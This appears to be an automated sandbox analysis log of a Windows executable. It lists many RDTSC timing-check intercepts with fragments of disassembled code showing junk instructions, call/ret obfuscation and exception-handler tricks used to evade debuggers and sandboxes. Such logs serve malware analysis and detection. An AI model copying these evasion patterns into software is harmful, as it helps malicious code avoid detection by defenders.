Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11407DE second address: 11407E8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4F78C44E26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11407E8 second address: 114080E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F4F78FA0E08h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114080E second address: 1140812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140812 second address: 114083A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0DFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push edi 0x0000000b pushad 0x0000000c jmp 00007F4F78FA0DFAh 0x00000011 jc 00007F4F78FA0DF6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D215 second address: 117D21B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D21B second address: 117D21F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11804B4 second address: 11804C4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F4F78C44E26h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11805D3 second address: 11805DD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4F78FA0DFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B841 second address: 117B845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182662 second address: 1182666 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182666 second address: 118266C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182B83 second address: 1182B89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182C71 second address: 1182C7B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182C7B second address: 1182C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11835D0 second address: 11835F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78C44E36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11835F1 second address: 11835F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11835F5 second address: 11835FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11836FA second address: 1183705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4F78FA0DF6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118386F second address: 118388B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4F78C44E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F4F78C44E2Ch 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118388B second address: 1183903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F78FA0DFDh 0x00000009 popad 0x0000000a jmp 00007F4F78FA0DFEh 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F4F78FA0DF8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b jmp 00007F4F78FA0E06h 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F4F78FA0E08h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185D3D second address: 1185D42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185D42 second address: 1185D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185D48 second address: 1185DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F4F78C44E2Bh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 jmp 00007F4F78C44E2Fh 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F4F78C44E28h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D1EA5h], edx 0x00000037 xchg eax, ebx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185DA0 second address: 1185DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185DA4 second address: 1185DAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185DAE second address: 1185DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186DE0 second address: 1186E6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jnl 00007F4F78C44E26h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 mov edi, 05038DDDh 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F4F78C44E28h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 0000001Ah 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 jmp 00007F4F78C44E34h 0x00000037 mov edi, ebx 0x00000039 push 00000000h 0x0000003b adc si, 5141h 0x00000040 xchg eax, ebx 0x00000041 push eax 0x00000042 jmp 00007F4F78C44E38h 0x00000047 pop eax 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b jg 00007F4F78C44E36h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118656F second address: 1186574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186574 second address: 118657B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188524 second address: 1188528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188528 second address: 118852C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118852C second address: 1188556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4F78FA0DFAh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4F78FA0E06h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1189006 second address: 118901C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4F78C44E2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118901C second address: 1189025 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D021 second address: 118D027 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F4F0 second address: 118F4F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F4F5 second address: 118F4FF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4F78C44E2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11905ED second address: 1190665 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4F78FA0DFBh 0x0000000b popad 0x0000000c nop 0x0000000d jmp 00007F4F78FA0E06h 0x00000012 push 00000000h 0x00000014 stc 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F4F78FA0DF8h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 jno 00007F4F78FA0DF8h 0x00000037 mov ebx, dword ptr [ebp+122D299Dh] 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 jno 00007F4F78FA0E0Ch 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191609 second address: 1191610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191610 second address: 1191615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191615 second address: 119166A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F4F78C44E28h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 sub edi, dword ptr [ebp+122D1899h] 0x00000028 push 00000000h 0x0000002a xor dword ptr [ebp+122D377Ch], edi 0x00000030 push 00000000h 0x00000032 xchg eax, esi 0x00000033 pushad 0x00000034 push edi 0x00000035 jmp 00007F4F78C44E35h 0x0000003a pop edi 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119166A second address: 119166E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11925FC second address: 1192651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 stc 0x00000007 push 00000000h 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F4F78C44E28h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 add dword ptr [ebp+122D3534h], esi 0x00000029 push 00000000h 0x0000002b mov ebx, dword ptr [ebp+122D2911h] 0x00000031 xchg eax, esi 0x00000032 jnc 00007F4F78C44E2Ah 0x00000038 push eax 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F4F78C44E2Bh 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119368A second address: 119368E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119368E second address: 1193730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F4F78C44E26h 0x0000000d jmp 00007F4F78C44E34h 0x00000012 popad 0x00000013 popad 0x00000014 nop 0x00000015 jmp 00007F4F78C44E36h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007F4F78C44E28h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 sbb bx, A4DFh 0x0000003b push ecx 0x0000003c mov bx, ax 0x0000003f pop edi 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push esi 0x00000045 call 00007F4F78C44E28h 0x0000004a pop esi 0x0000004b mov dword ptr [esp+04h], esi 0x0000004f add dword ptr [esp+04h], 0000001Ah 0x00000057 inc esi 0x00000058 push esi 0x00000059 ret 0x0000005a pop esi 0x0000005b ret 0x0000005c mov bx, di 0x0000005f xchg eax, esi 0x00000060 push eax 0x00000061 push edx 0x00000062 push ecx 0x00000063 jmp 00007F4F78C44E2Ch 0x00000068 pop ecx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193730 second address: 1193745 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4F78FA0DFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194762 second address: 119476C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4F78C44E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119573C second address: 1195742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195742 second address: 119579E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4F78C44E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f sbb di, F17Fh 0x00000014 push 00000000h 0x00000016 movzx ebx, cx 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F4F78C44E28h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 pushad 0x00000036 sub dword ptr [ebp+124403F6h], edx 0x0000003c mov dword ptr [ebp+122D37B4h], eax 0x00000042 popad 0x00000043 xchg eax, esi 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F4F78C44E32h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119579E second address: 11957A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11957A2 second address: 11957A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11957A8 second address: 11957CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0E09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11957CC second address: 11957E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78C44E33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E674 second address: 118E682 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11907A4 second address: 1190818 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F4F78C44E35h 0x0000000d nop 0x0000000e sub dword ptr [ebp+124560BEh], esi 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push edi 0x0000001c pushad 0x0000001d mov eax, edx 0x0000001f mov edx, dword ptr [ebp+122D2A11h] 0x00000025 popad 0x00000026 pop ebx 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e jmp 00007F4F78C44E2Ah 0x00000033 mov eax, dword ptr [ebp+122D0E65h] 0x00000039 sub dword ptr [ebp+1243E290h], esi 0x0000003f push FFFFFFFFh 0x00000041 push eax 0x00000042 jg 00007F4F78C44E43h 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F4F78C44E35h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191759 second address: 1191763 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4F78FA0DFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11939C3 second address: 11939C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11939C9 second address: 11939CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194951 second address: 1194962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F4F78C44E28h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194962 second address: 1194967 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194967 second address: 11949ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ebx, dword ptr [ebp+1244BEF6h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F4F78C44E28h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 jmp 00007F4F78C44E33h 0x0000003d mov eax, dword ptr [ebp+122D113Dh] 0x00000043 mov ebx, dword ptr [ebp+122D3577h] 0x00000049 push FFFFFFFFh 0x0000004b mov dword ptr [ebp+122D3871h], ecx 0x00000051 nop 0x00000052 jmp 00007F4F78C44E38h 0x00000057 push eax 0x00000058 push ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b push ecx 0x0000005c pop ecx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11949ED second address: 11949F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A7A0 second address: 119A7AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197901 second address: 1197924 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F4F78FA0E07h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11979F8 second address: 1197A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F4F78C44E26h 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199853 second address: 1199858 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119995B second address: 119995F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B7C3 second address: 119B7C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B7C7 second address: 119B7CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B7CC second address: 119B838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jmp 00007F4F78FA0DFDh 0x0000000f pop edx 0x00000010 pop edx 0x00000011 nop 0x00000012 add dword ptr [ebp+122D3806h], ecx 0x00000018 push 00000000h 0x0000001a jp 00007F4F78FA0DFBh 0x00000020 mov ebx, 16DB6D5Ah 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007F4F78FA0DF8h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 00000017h 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 mov di, bx 0x00000044 add edi, dword ptr [ebp+122D1E8Ah] 0x0000004a xchg eax, esi 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e pop edx 0x0000004f pop eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F4F78FA0DFDh 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B838 second address: 119B846 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B846 second address: 119B850 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4F78FA0DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B97E second address: 119B982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B982 second address: 119B986 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B986 second address: 119B98C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B98C second address: 119B992 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B992 second address: 119B996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B996 second address: 119B99A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
